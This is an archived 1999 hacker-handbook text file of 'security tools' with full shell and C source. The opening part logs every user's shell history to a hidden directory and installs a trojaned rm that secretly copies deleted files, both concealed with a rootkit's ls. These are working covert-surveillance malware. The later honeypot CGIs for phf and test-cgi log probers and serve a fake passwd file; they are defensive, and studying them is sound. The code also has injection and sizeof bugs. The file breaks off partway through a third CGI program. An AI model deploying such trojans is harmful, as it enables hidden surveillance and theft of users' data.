home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / security-tools.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  28.5 KB  |  1,005 lines
  1.                    Security and Monitoring Tools
  2.                    -----------------------------
  3.             Shok (Matt Conover)
  4.               shok@dataforce.net, shok@sekurity.org
  5.     
  6. What I plan for this to be, is some various utilities that you might think
  7. as of use and what not. This is mainly a few security tips that I like to
  8. use.
  9.  
  10. First off, edit your /etc/profile, and add the line:
  11. export HISTFILE=/tmp/hist/`whoami`
  12.  
  13. and then do:
  14. mkdir /tmp/hist;chmud 1777 /tmp/hist
  15.  
  16. You now want to hide that file, so the users don't see the dir (it can be
  17. seen with set but not too many people check :) and you hide it with the
  18. rootkit's ls.
  19.  
  20. Another few things I like to do.
  21. I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden
  22. (via rootkit ls), and it copies the file they are trying to delete to
  23. /tmp/fill (which is also hidden via rootkit ls). 
  24. There are two versions of this....I wrote the first one in shell script,
  25. but do to the fact it has to be a+r, I wrote it in C afterwords. Here is
  26. the rm.sh:
  27.  
  28. #!/bin/sh
  29. # rm trojan, stores files in a temp directory, that is +tw, but go-r
  30. # the directory this writes to should be hidden with a trojaned ls
  31. # (via rootkit)
  32. # this is just an example...USE rm.c ;)
  33.  
  34. if [ $# > 1 ] 
  35. then
  36.  
  37. case $1 in
  38. -i)
  39.   shift
  40.   cp -f $* /tmp/fill &>/dev/null
  41.   doexec /bin/rm.bak rm -i $*
  42.   ;;
  43.  
  44. --interactive)
  45.   shift
  46.   cp -f $* /tmp/fill &>/dev/null
  47.   doexec /bin/rm.bak rm -i $* 
  48.   ;;
  49.  
  50.  
  51. -f)
  52.   shift
  53.   cp -f $* /tmp/fill &>/dev/null
  54.   /bin/rm.bak -f $*
  55.   ;; 
  56.  
  57. --force)
  58.   shift
  59.   cp -f $* /tmp/fill &>/dev/null
  60.   /bin/rm.bak -f $* 
  61.   ;;
  62.  
  63.  
  64. -d)
  65.   shift
  66.   cp $1/* /tmp/fill &>/dev/null
  67.   doexec /bin/rm.bak rm -d $*
  68.   ;; 
  69.  
  70. --directory)
  71.   shift
  72.   cp $1/* /tmp/fill &>/dev/null
  73.   doexec /bin/rm.bak rm -d $* 
  74.   ;;
  75.  
  76.  
  77. -v)
  78.   shift
  79.   cp -f $* /tmp/fill &>/dev/null
  80.   /bin/rm.bak -v $*
  81.   ;;
  82.  
  83. --verbose)
  84.   shift
  85.   cp -f $* /tmp/fill &>/dev/null
  86.   /bin/rm.bak -v $* 
  87.   ;;
  88.  
  89.  
  90. -r)
  91.   shift
  92.   cp -f $1/* /tmp/fill &>/dev/null
  93.   doexec /bin/rm.bak -R $*
  94.   ;; 
  95.  
  96. -R)
  97.   shift
  98.   cp -f $1/* /tmp/fill &>/dev/null
  99.   doexec /bin/rm.bak rm -R $*
  100.   ;; 
  101.  
  102. --recursive)
  103.   shift
  104.   cp -f $1/* /tmp/fill &>/dev/null
  105.   doexec /bin/rm.bak rm -R $* 
  106.   ;;
  107.  
  108.  
  109. -ri)
  110.   shift
  111.   cp -f $1/* /tmp/fill &>/dev/null
  112.   /bin/rm.bak -ri $*
  113.   ;;
  114.  
  115. -Ri)
  116.   shift
  117.   cp -f $1/* /tmp/fill &>/dev/null
  118.   doexec /bin/rm.bak rm -ri $*
  119.   ;;
  120.  
  121.  
  122. -rf)
  123.   shift
  124.   cp -f $1/* /tmp/fill &>/dev/null
  125.   cp -f $1 /tmp/fill &>/dev/null  
  126.   /bin/rm.bak -rf $*
  127.   ;;
  128.  
  129. -Rf)
  130.   shift
  131.   cp -f $1/* /tmp/fill &>/dev/null
  132.   cp -f $1 /tmp/fill &>/dev/null
  133.   /bin/rm.bak -rf $*
  134.   ;;
  135.  
  136.  
  137. -rd)
  138.   shift
  139.   cp -f $1/* /tmp/fill &>/dev/null
  140.   doexec /bin/rm.bak rm -rd $*
  141.   ;;
  142.  
  143. -Rd)
  144.   shift
  145.   cp -f $1/* /tmp/fill &>/dev/null
  146.   doexec /bin/rm.bak rm -rd $*
  147.   ;;
  148.  
  149.  
  150. -Rv)
  151.   shift
  152.   cp -f $1/* /tmp/fill &>/dev/null
  153.   doexec /bin/rm.bak rm -rv $*
  154.   ;;
  155.  
  156. -rv)
  157.   shift
  158.   cp -f $1/* /tmp/fill &>/dev/null
  159.   doexec /bin/rm.bak rm -rv $*
  160.   ;;
  161.  
  162.  
  163. -fv)
  164.   shift
  165.   cp -f $1 /tmp/fill &>/dev/null
  166.   /bin/rm.bak -fv $*
  167.   ;;
  168.  
  169.  
  170. -Rfv)
  171.   shift
  172.   cp -f $1/* /tmp/fill &>/dev/null
  173.   cp -f $1   /tmp/fill &>/dev/null
  174.   /bin/rm.bak -rfv $*
  175.   ;;
  176.  
  177. -rfv)
  178.   shift
  179.   cp -f $1/* /tmp/fill &>/dev/null
  180.   cp -f $1   /tmp/fill &>/dev/null
  181.   /bin/rm.bak -rfv $*
  182.   ;;
  183.  
  184. *)
  185.   cp -f $* /tmp/fill &>/dev/null
  186.   /bin/rm.bak $*
  187.   ;;
  188. esac
  189.  
  190. else
  191.   IT = $1
  192.   cp -f $IT /tmp/fill
  193.   /bin/rm.bak $IT
  194.  
  195. fi
  196.  
  197. If you do not have the program doexec, write it like this:
  198.  
  199. #include <stdio.h>
  200. #include <unistd.h>
  201.  
  202. void main(int argc, char **argv)
  203. {
  204.   execl(argv[1], argv[2], argv[3], argv[4], (char *)NULL);
  205. }
  206.  
  207.  
  208. Now for rm.c:
  209.  
  210. /* ------------------------------------------------------ */
  211. /* rm.c -- rm "trojan" by Shok (Matt Conover)             */
  212. /* ------------------------------------------------------ */
  213. /* Email: shok@dataforce.net, shok@sekurity.org          */
  214.  
  215.  
  216. #include <sys/stat.h>
  217. #include <string.h>
  218. #include <stdio.h>
  219. #include <stdlib.h> 
  220. #include <unistd.h>
  221.  
  222.  
  223. void main(int argc, char **argv)
  224. {
  225.   int i, c;
  226.   int recursive, verbose, force, interactive;
  227.  
  228.   if (argc > 2) {
  229.         while((c = getopt (argc, argv, "Rrifv:")) != -1)
  230.         switch (c)
  231.         {
  232.             case 'R': 
  233.             case 'r':
  234.                 recursive = 1;
  235.                 break;
  236.             case 'i':
  237.                 interactive = 1;
  238.                 break;
  239.             case 'f':
  240.                 force = 1;
  241.                 break;
  242.             case 'v':
  243.                 verbose = 1;
  244.                 break;
  245.             case '?':
  246.                 exit(1);
  247.             default:
  248.                 break;
  249.         }
  250.   } else if (argc == 2) {
  251.         setenv("PROGRAM", argv[1], 1);
  252.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");  
  253.         execl("/bin/rm.bak", "rm", argv[1], NULL);
  254.         unsetenv("PROGRAM");
  255.         exit(0);
  256.   } else {
  257.      exit(0);
  258.   }
  259.  
  260.  
  261.   if ((interactive == 1) && (verbose != 1) && (force != 1) && (recursive != 1)) goto interactive;
  262.   if ((force == 1) && (verbose != 1) && (interactive != 1) && (recursive != 1)) goto force;
  263.   if ((verbose == 1) && (interactive != 1) && (force != 1) && (recursive != 1)) goto verbose;
  264.   if ((recursive == 1) && (verbose != 1) && (force != 1) && (interactive != 1)) goto recursive;
  265.  
  266.   if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose != 1)) goto rf;
  267.   if ((recursive == 1) && (force != 1) && (interactive == 1) && (verbose != 1)) goto ri;
  268.   if ((recursive == 1) && (force != 1) && (interactive != 1) && (verbose == 1)) goto rv;  
  269.   if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose == 1)) goto rfv;
  270.  
  271.   fprintf(stderr, "Unknown error.\n");
  272.   exit(1);
  273.  
  274. interactive:
  275.  
  276.   for (i = 2; i < argc; i++) {
  277.      setenv("PROGRAM", argv[i], 2);
  278.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  279.      unsetenv("PROGRAM");
  280.      execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  281.   }
  282.  
  283.   exit(0);
  284.   
  285. force:
  286.  
  287.   for (i = 2; i < argc; i++) {
  288.      setenv("PROGRAM", argv[i], 2);
  289.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  290.      unsetenv("PROGRAM");
  291.      execl("/bin/rm.bak","rm","-f",argv[2],NULL);
  292.   }
  293.  
  294.   exit(0);
  295.  
  296. verbose:
  297.   for (i = 2; i < argc; i++)   {
  298.      setenv("PROGRAM", argv[i], 2);
  299.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  300.      unsetenv("PROGRAM");
  301.      execl("/bin/rm.bak","rm","-v",argv[2],NULL);
  302.   }
  303.  
  304.   exit(0);
  305.  
  306. recursive:
  307.   for (i = 2; i < argc; i++) {
  308.      setenv("PROGRAM", argv[i], 2);
  309.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  310.      unsetenv("PROGRAM");
  311.      execl("/bin/rm.bak","rm","-r",argv[2],NULL);
  312.   }
  313.  
  314.   exit(0);
  315.  
  316. rf:
  317.   for (i = 2; i < argc; i++) {
  318.      setenv("PROGRAM", argv[i], 2);
  319.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  320.      unsetenv("PROGRAM");
  321.      execl("/bin/rm.bak","rm","-rf",argv[2],NULL);
  322.   } 
  323.  
  324.   exit(0);
  325.  
  326. ri:
  327.   for (i = 2;i < argc; i++) {
  328.      setenv("PROGRAM", argv[i], 2);
  329.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  330.      unsetenv("PROGRAM");
  331.      execl("/bin/rm.bak","rm","-ri",argv[2],NULL);
  332.   }
  333.  
  334.   exit(0);
  335.  
  336. rv:
  337.   for (i = 2; i < argc; i++) {
  338.      setenv("PROGRAM", argv[i], 2);
  339.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  340.      unsetenv("PROGRAM");
  341.      execl("/bin/rm.bak","rm","-rv",argv[2],NULL);
  342.   }
  343.  
  344.   exit(0);
  345.  
  346. rfv:
  347.  
  348.   for (i = 2; i <argc; i++) {
  349.      setenv("PROGRAM", argv[i], 2);
  350.      system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  351.      unsetenv("PROGRAM");
  352.      execl("/bin/rm.bak","rm","-rfv",argv[2],NULL);
  353.   }
  354.  
  355.   exit(0);
  356. }
  357.  
  358. This program can of course be improved, especially replacing the strcmp's
  359. with getopt() but I could care less....
  360.  
  361. Now when ever a user deletes something it will first be copied to
  362. /tmp/fill before it's deleted.
  363.  
  364. Now, even though it's logged to /var/log/httpd/access_log, I'd like to
  365. know right away when someone tries to use the phf or test-cgi
  366. vulnerabilities on me. So I replaced the phf and test-cgi programs in my
  367. /cgi-bin/ with this. The first will get the info on who it is, then it
  368. will send a fake passwd file. This can be improved of course but I don't
  369. care to take the time. 
  370.  
  371. phf.c:
  372.  
  373. /* w00w00! */
  374. /* phf trojan                                 */
  375. /* -------------------------------------------------------------------- */
  376. /* Just a little utility to log information about who is exploiting us. */
  377. /* Will mail it to root of local host, with the IP address, the web     */
  378. /* browser, the query string, etc. It will then return a fake password  */
  379. /* below which can be modified.                                         */
  380. /*                                    */
  381. /* Shok (Matt Conover)                            */
  382. /* shok@dataforce.net, shok@sekurity.org                                */
  383.  
  384. #include <stdio.h>
  385. #include <fcntl.h>
  386. #include <unistd.h>
  387. #include <stdlib.h>
  388. #include <string.h>
  389. #include <syslog.h>
  390. #include <sys/stat.h>
  391. #include <sys/types.h>
  392.  
  393.  
  394. /* List of defines */
  395. #define ERROR -1
  396.  
  397. #define IP "206.71.69.243" /* Set this to your IP address. */
  398.  
  399. #define ADMIN "root" /* Set this to the user (or address) of the person    */
  400.                      /* to get phf attempts.                               */
  401.  
  402. #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
  403. #define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
  404.                                      /* program but this is to specify the */
  405.                                      /* path.                              */
  406.  
  407. /* This returns a '404 File Not Found' to the client. */
  408. #define PRNSERVERR() printf("Content-type: text/html\n\n");                \
  409.           printf("<HTML><HEAD>\n");                                        \
  410.           printf("<TITLE>404 File Not Found</TITLE>\n");                   \
  411.           printf("</HEAD><BODY>\n");                                       \
  412.                                                                            \
  413.           printf("<H1>File Not Found</H1>\n");                             \
  414.           printf("The requested URL was not found on this server.<P>\n");  \
  415.                                                                            \
  416.           printf("</BODY></HTML>\n");                                      \
  417.                                                                            \
  418.           fflush(stdin), fflush(stdout), fflush(stderr);                  
  419.  
  420. /* Free up our structures before exiting. */
  421. #define FREEALL() free(buf), free(cmdarg), free(address);
  422. /* ------------------ */
  423.  
  424. void main()
  425. { 
  426.   FILE *tmpfile, *fingerinfo;
  427.  
  428.   int pid;
  429.   int fd[2];
  430.   register int errors = 0;
  431.  
  432.   char *buf     = malloc(4096);
  433.   char *cmdarg  = malloc(512);
  434.   char *address = malloc(256);
  435.  
  436.   char *host         = getenv("REMOTE_HOST");
  437.   char *addr         = getenv("REMOTE_ADDR");
  438.   char *browser      = getenv("HTTP_USER_AGENT");
  439.   char *query_string = getenv("QUERY_STRING"); 
  440.  
  441.  
  442.   /* We check each malloc seperately so we can free */ 
  443.   /* any previously malloc()'d buffers.             */
  444.   if (buf == NULL) {
  445.      perror("malloc");
  446.      PRNSERVERR();
  447.      exit(ERROR);
  448.   } else memset(buf, 0, sizeof(buf));
  449.  
  450.   if (cmdarg == NULL) {
  451.      perror("malloc");
  452.      PRNSERVERR();
  453.      free(buf);
  454.      exit(ERROR);
  455.   } else memset(cmdarg, 0, sizeof(cmdarg));
  456.  
  457.   if (address == NULL) {
  458.      perror("malloc");
  459.      PRNSERVERR();
  460.      free(buf), free(cmdarg);
  461.      exit(ERROR);
  462.   } else memset(address, 0, sizeof(address));
  463.   /* ----------------------------- */
  464.  
  465.  
  466.   if (pipe(fd) == ERROR) {
  467.      perror("pipe");
  468.      PRNSERVERR();
  469.      FREEALL();
  470.      exit(ERROR);
  471.   }
  472.  
  473.   bzero(buf, sizeof(buf));
  474.  
  475.   if ((pid = fork()) == ERROR) {
  476.  
  477.      openlog("phf", LOG_PID, LOG_USER);
  478.      syslog(LOG_ERR, "Unable to fork().");
  479.      closelog();
  480.  
  481.      PRNSERVERR();
  482.      FREEALL();
  483.      exit(ERROR);
  484.   }
  485.  
  486.   if (pid == 0) {
  487.      close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
  488.      dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
  489.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  490.  
  491.      sprintf(address, "@%.*s", 256 - 1, host); 
  492.  
  493.      /* Log information. */
  494.      printf("The following person used phf!!\n\n");
  495.      printf("\tHost: %s\n", host);
  496.      printf("\tAddress: %s\n", addr);
  497.      printf("\tBrowser type: %s\n", browser);
  498.      printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 
  499.  
  500.      printf("Information collected from fingering host (if any):\n");
  501.      printf("---------------------------------------------------\n\n"); 
  502.      fflush(stdout);
  503.  
  504.      if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0)) 
  505.         execl(FINGERPROG, "finger", address, (char *)NULL);
  506.      else
  507.         printf("[from the localhost (%s)]\n", IP);
  508.  
  509.      printf(".\n"); /* Terminate 'mail'. */
  510.     /* --------------- */
  511.  
  512.      FREEALL();
  513.      exit(0);
  514.   } else { 
  515.  
  516.      close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
  517.      dup2(fd[0], fileno(stdin)); /* Send all input to the pipe's input. */
  518.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  519.  
  520.      wait(NULL); /* Wait for child to completely finish before starting. */
  521.  
  522.      /* Setup the subject to send to mail. */
  523.      sprintf(cmdarg, "-s \"PHF ATTEMPT FROM %.*s!\"", 
  524.              sizeof(cmdarg) - 19, host);
  525.  
  526.      /* fork() another child to execute the mail program. */
  527.      if ((pid = fork()) == ERROR) {
  528.         perror("fork");
  529.         PRNSERVERR();
  530.         FREEALL();
  531.         exit(ERROR);
  532.     }
  533.  
  534.     if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  535.   }
  536.  
  537.   /* Send a fake password file.. if there is a "cat" and "/etc/passwd" */
  538.   /* in the QUERY_STRING. Otherwise report file not found (this can    */
  539.   /* cause problems if they first send a cat /etc/passwd and then send */
  540.   /* an xterm request for example.                                     */
  541.  
  542.   if (strstr(query_string, "cat") && strstr(query_string, "/etc/passwd")) {
  543.      printf("Content-type: text/html\n\n");
  544.      printf("<HTML><HEAD>\n");
  545.      printf("<TITLE>Query Results</TITLE>\n");
  546.      printf("<H1>Query Results</H1>\n"); 
  547.      printf("</HEAD><BODY>\n");
  548.  
  549.      printf("<P>\n");
  550.      printf("/usr/local/bin/ph -m  alias=x \n");
  551.      printf("cat /etc/passwd\n");
  552.      printf("<PRE>\n");
  553.      printf("root:x3DgdbFdn:0:1:Operator:/:/bin/csh\n");
  554.      printf("nobody:*:65534:65534::/:\n");
  555.      printf("daemon:*:1:1::/:\n");
  556.      printf("sys:*:2:2::/:/bin/csh\n");
  557.      printf("bin:*:3:3::/bin:\n");
  558.      printf("uucp:*:9:9::/var/spool/uucppublic:\n");
  559.      printf("news:*:6:6::/var/spool/news:/bin/csh\n");
  560.      printf("mail:*:8:8::/:\n");
  561.      printf("audit:*:11:11::/usr/sbin/audit:/bin/csh\n");
  562.      printf("slip::25:25:SLIP:/tmp:/usr/sbin/sliplogin\n");
  563.      printf("sync::1:1::/:/bin/sync\n");
  564.      printf("sysdiag:*:0:1:System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n");
  565.      printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n");
  566.      printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n");
  567.      printf("www:*:50:50:World Wide Web:/home/www:/usr/bin/bash\n");
  568.      printf("pop:*:60:60:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n");
  569.      printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n");
  570.      printf("john:Vf84.y4kl/:4120:18:John Preston:/usr/john:/usr/bin/bash\n");
  571.      printf("lolop:j7Hf./fdf:8900:100:LoLoP:/home/lolop:/usr/local/bin/tcsh\n");
  572.      printf("pcguest::7454:100:Guest Account:/tmp:/usr/bin/sh\n");
  573.      printf("pscoot:Em8y0pwT.5umo:8930:100:Pike Scoot:/home/pscoot:/usr/bin/bash\n");
  574.      printf("shok:aDrsBsefYr:666:100:Matt Conover:/home/shok:/bin/bash\n");
  575.      printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n");
  576.      printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n");
  577.      printf("jsmith:Fdd34cDfc:8940:100:Jim Smith:/home/jsmith:/usr/bin/bash\n"); 
  578.      printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n");
  579.      printf("guest:*:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n");
  580.      printf("</PRE>");
  581.  
  582.      printf("</BODY></HTML>\n");
  583.   } else {
  584.      PRNSERVERR();
  585.      FREEALL();
  586.   }
  587.  
  588.   FREEALL();
  589. }
  590.  
  591.  
  592. test-cgi.c:
  593.  
  594. /* w00w00! */
  595. /* test-cgi trojan                                                      */
  596. /* -------------------------------------------------------------------- */
  597. /* Just a little utility to log information about who is exploiting us. */
  598. /* Will mail it to root of local host, with the IP address, the web     */
  599. /* browser, the query string, etc. It will then return a File Not Found */
  600. /* error.                                */
  601. /*                                    */
  602. /* Shok (Matt Conover)                            */
  603. /* shok@dataforc.enet, shok@sekurity.org                                */
  604.  
  605. #include <stdio.h>
  606. #include <fcntl.h>
  607. #include <unistd.h>
  608. #include <stdlib.h>
  609. #include <string.h>
  610. #include <syslog.h>
  611. #include <sys/stat.h>
  612. #include <sys/types.h>
  613.  
  614. /* List of defines */
  615. #define ERROR -1
  616.  
  617. #define IP "206.71.69.243" /* Set this to your IP address. */
  618.  
  619. #define ADMIN "root" /* Set this to the user (or address) of the person    */
  620.                      /* to get phf attempts.                               */
  621.  
  622. #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
  623. #define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
  624.                                      /* program but this is to specify the */
  625.                                      /* path.                              */
  626.  
  627. /* This returns a '404 File Not Found' to the client. */
  628. #define PRNSERVERR() printf("Content-type: text/html\n\n");                \
  629.           printf("<HTML><HEAD>\n");                                        \
  630.           printf("<TITLE>404 File Not Found</TITLE>\n");                   \
  631.           printf("</HEAD><BODY>\n");                                       \
  632.                                                                            \
  633.           printf("<H1>File Not Found</H1>\n");                             \
  634.           printf("The requested URL was not found on this server.<P>\n");  \
  635.                                                                            \
  636.           printf("</BODY></HTML>\n");                                      \
  637.                                                                            \
  638.           fflush(stdin), fflush(stdout), fflush(stderr);                  
  639.  
  640. /* Free up our structures before exiting. */
  641. #define FREEALL() free(buf), free(cmdarg), free(address);
  642. /* ------------------ */
  643.  
  644. void main()
  645. { 
  646.   FILE *tmpfile, *fingerinfo;
  647.  
  648.   int pid;
  649.   int fd[2];
  650.   register int errors = 0;
  651.  
  652.   char *buf     = malloc(4096);
  653.   char *cmdarg  = malloc(512);
  654.   char *address = malloc(256);
  655.  
  656.   char *host         = getenv("REMOTE_HOST");
  657.   char *addr         = getenv("REMOTE_ADDR");
  658.   char *browser      = getenv("HTTP_USER_AGENT");
  659.   char *query_string = getenv("QUERY_STRING"); 
  660.  
  661.  
  662.   /* We check each malloc seperately so we can free */ 
  663.   /* any previously malloc()'d buffers.             */
  664.   if (buf == NULL) {
  665.      perror("malloc");
  666.      PRNSERVERR();
  667.      exit(ERROR);
  668.   } else memset(buf, 0, sizeof(buf));
  669.  
  670.   if (cmdarg == NULL) {
  671.      perror("malloc");
  672.      PRNSERVERR();
  673.      free(buf);
  674.      exit(ERROR);
  675.   } else memset(cmdarg, 0, sizeof(cmdarg));
  676.  
  677.   if (address == NULL) {
  678.      perror("malloc");
  679.      PRNSERVERR();
  680.      free(buf), free(cmdarg);
  681.      exit(ERROR);
  682.   } else memset(address, 0, sizeof(address));
  683.   /* ----------------------------- */
  684.  
  685.  
  686.   if (pipe(fd) == ERROR) {
  687.      perror("pipe");
  688.      PRNSERVERR();
  689.      FREEALL();
  690.      exit(ERROR);
  691.   }
  692.  
  693.   bzero(buf, sizeof(buf));
  694.  
  695.   if ((pid = fork()) == ERROR) {
  696.  
  697.      openlog("test-cgi", LOG_PID, LOG_USER);
  698.      syslog(LOG_ERR, "Unable to fork().");
  699.      closelog();
  700.  
  701.      PRNSERVERR();
  702.      FREEALL();
  703.      exit(ERROR);
  704.   }
  705.  
  706.   if (pid == 0) {
  707.      close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
  708.      dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
  709.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  710.  
  711.      sprintf(address, "@%.*s", 256 - 1, host); 
  712.  
  713.      /* Log information. */
  714.      printf("The following person used test-cgi!\n\n");
  715.      printf("\tHost: %s\n", host);
  716.      printf("\tAddress: %s\n", addr);
  717.      printf("\tBrowser type: %s\n", browser);
  718.      printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 
  719.  
  720.      printf("Information collected from fingering host (if any):\n");
  721.      printf("---------------------------------------------------\n\n"); 
  722.      fflush(stdout);
  723.  
  724.      if ((strcmp(address, IP) != 0) && (strcmp(address, "127.0.0.1") != 0))
  725.         execl(FINGERPROG, "finger", address, (char *)NULL);
  726.      else
  727.         printf("[from the local host (%s)]\n", IP);
  728.  
  729.      printf(".\n"); /* Terminated 'mail'. */
  730.     /* --------------- */
  731.  
  732.      FREEALL();
  733.      exit(0);
  734.   } else { 
  735.  
  736.      close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
  737.      dup2(fd[0], fileno(stdin));  /* Send all input to the pipe's input. */
  738.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.        */
  739.  
  740.      wait(NULL); /* Wait for child to completely finish before starting. */
  741.  
  742.      /* Setup the subject to send to mail. */
  743.      sprintf(cmdarg, "-s \"TEST-CGI ATTEMPT FROM %.*s!\"", 
  744.              sizeof(cmdarg) - 19, host);
  745.  
  746.      /* fork() another child to execute the mail program. */
  747.      if ((pid = fork()) == ERROR) {
  748.         perror("fork");
  749.         PRNSERVERR();
  750.         FREEALL();
  751.         exit(ERROR);
  752.     }
  753.  
  754.     if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  755.   }
  756.  
  757.   PRNSERVERR(); /* Just return 404 File Not Found. */
  758.   FREEALL();
  759. }
  760.  
  761.  
  762. Just as an added bonus here.........
  763. When someone goes to a directory you have .htaccess in, it will send 401,
  764. which is the unauthorized error code (pretty sure it's 401 but not in the
  765. mood to check). Now I editted my srm.conf (usually
  766. /usr/local/etc/httpd/conf/srm.conf), and added this line:
  767.  
  768. ErrorDocument 401    /cgi-bin/unauthorized.cgi
  769.  
  770. This is basically like the one above.......except it differs
  771. by the the 'user' part, which lets you know what user it was...this is a
  772. good way to know if there is an unauthorized attempt, and/or what user is
  773. logging into your webpage that is secured......
  774.  
  775. unauthorized.c:
  776.  
  777.  
  778. /* w00w00! */
  779. /* Unauthorized access catcher.                                         */
  780. /* -------------------------------------------------------------------- */
  781. /* Just a little utility to log information about who is unauthorized   */
  782. /* to access the web page. Will mail it to root of local host, with the */ 
  783. /* IP address, the web browser, user, ident, the query string, etc.     */
  784. /*                                    */
  785. /* Shok (Matt Conover)                            */
  786. /* shok@dataforce.net, shok@sekurity.org                */
  787.  
  788. #include <stdio.h>
  789. #include <fcntl.h>
  790. #include <unistd.h>
  791. #include <stdlib.h>
  792. #include <string.h>
  793. #include <syslog.h>
  794. #include <sys/stat.h>
  795. #include <sys/types.h>
  796.  
  797. /* List of defines */
  798. #define ERROR -1
  799.  
  800. #define ADMIN "root" /* Set this to the user (or address) of the person    */
  801.                      /* to get phf attempts.                               */
  802.  
  803. #define IP "206.71.69.243" /* Set this to your IP address. */
  804.  
  805. #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
  806. #define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
  807.                                      /* program but this is to specify the */
  808.                                      /* path.                              */
  809.  
  810. /* This returns a '404 File Not Found' to the client. */
  811. #define PRNSERVERR() printf("Content-type: text/html\n\n");                \
  812.           printf("<HTML><HEAD>\n");                                        \
  813.           printf("<TITLE>404 File Not Found</TITLE>\n");                   \
  814.           printf("</HEAD><BODY>\n");                                       \
  815.                                                                            \
  816.           printf("<H1>File Not Found</H1>\n");                             \
  817.           printf("The requested URL was not found on this server.<P>\n");  \
  818.                                                                            \
  819.           printf("</BODY></HTML>\n");                                      \
  820.                                                                            \
  821.           fflush(stdin), fflush(stdout), fflush(stderr);                  
  822.  
  823. /* Free up our structures before exiting. */
  824. #define FREEALL() free(buf), free(cmdarg), free(address);
  825. /* ------------------ */
  826.  
  827. void main()
  828. { 
  829.   FILE *tmpfile, *fingerinfo;
  830.  
  831.   int pid;
  832.   int fd[2];
  833.   register int errors = 0;
  834.  
  835.   char *buf     = malloc(4096);
  836.   char *cmdarg  = malloc(512);
  837.   char *address = malloc(256);
  838.  
  839.   char *host         = getenv("REMOTE_HOST");
  840.   char *addr         = getenv("REMOTE_ADDR");
  841.   char *user         = getenv("REMOTE_USER");
  842.   char *ident        = getenv("REMOTE_IDENT");
  843.   char *browser      = getenv("HTTP_USER_AGENT");
  844.   char *query_string = getenv("QUERY_STRING"); 
  845.  
  846.  
  847.   /* We check each malloc seperately so we can free */ 
  848.   /* any previously malloc()'d buffers.             */
  849.   if (buf == NULL) {
  850.      perror("malloc");
  851.      PRNSERVERR();
  852.      exit(ERROR);
  853.   } else memset(buf, 0, sizeof(buf));
  854.  
  855.   if (cmdarg == NULL) {
  856.      perror("malloc");
  857.      PRNSERVERR();
  858.      free(buf);
  859.      exit(ERROR);
  860.   } else memset(cmdarg, 0, sizeof(cmdarg));
  861.  
  862.   if (address == NULL) {
  863.      perror("malloc");
  864.      PRNSERVERR();
  865.      free(buf), free(cmdarg);
  866.      exit(ERROR);
  867.   } else memset(address, 0, sizeof(address));
  868.   /* ----------------------------- */
  869.  
  870.  
  871.   if (pipe(fd) == ERROR) {
  872.      perror("pipe");
  873.      PRNSERVERR();
  874.      FREEALL();
  875.      exit(ERROR);
  876.   }
  877.  
  878.   bzero(buf, sizeof(buf));
  879.  
  880.   if ((pid = fork()) == ERROR) {
  881.  
  882.      openlog("httpd: unauthorized.cgi", LOG_PID, LOG_USER);
  883.      syslog(LOG_ERR, "Unable to fork().");
  884.      closelog();
  885.  
  886.      PRNSERVERR();
  887.      FREEALL();
  888.      exit(ERROR);
  889.   }
  890.  
  891.   if (pid == 0) {
  892.      close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
  893.      dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
  894.      dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */
  895.  
  896.      sprintf(address, "@%.*s", 256 - 1, host); 
  897.  
  898.      /* Log information. */
  899.      printf("The following person used phf!!\n\n");
  900.      printf("\tHost: %s\n", host);
  901.      printf("\tAddress: %s\n", addr);
  902.      printf("\tUser: %s\n", user);
  903.      printf("\tIdent: %s\n", ident);
  904.      printf("\tBrowser type: %s\n", browser);
  905.      printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 
  906.  
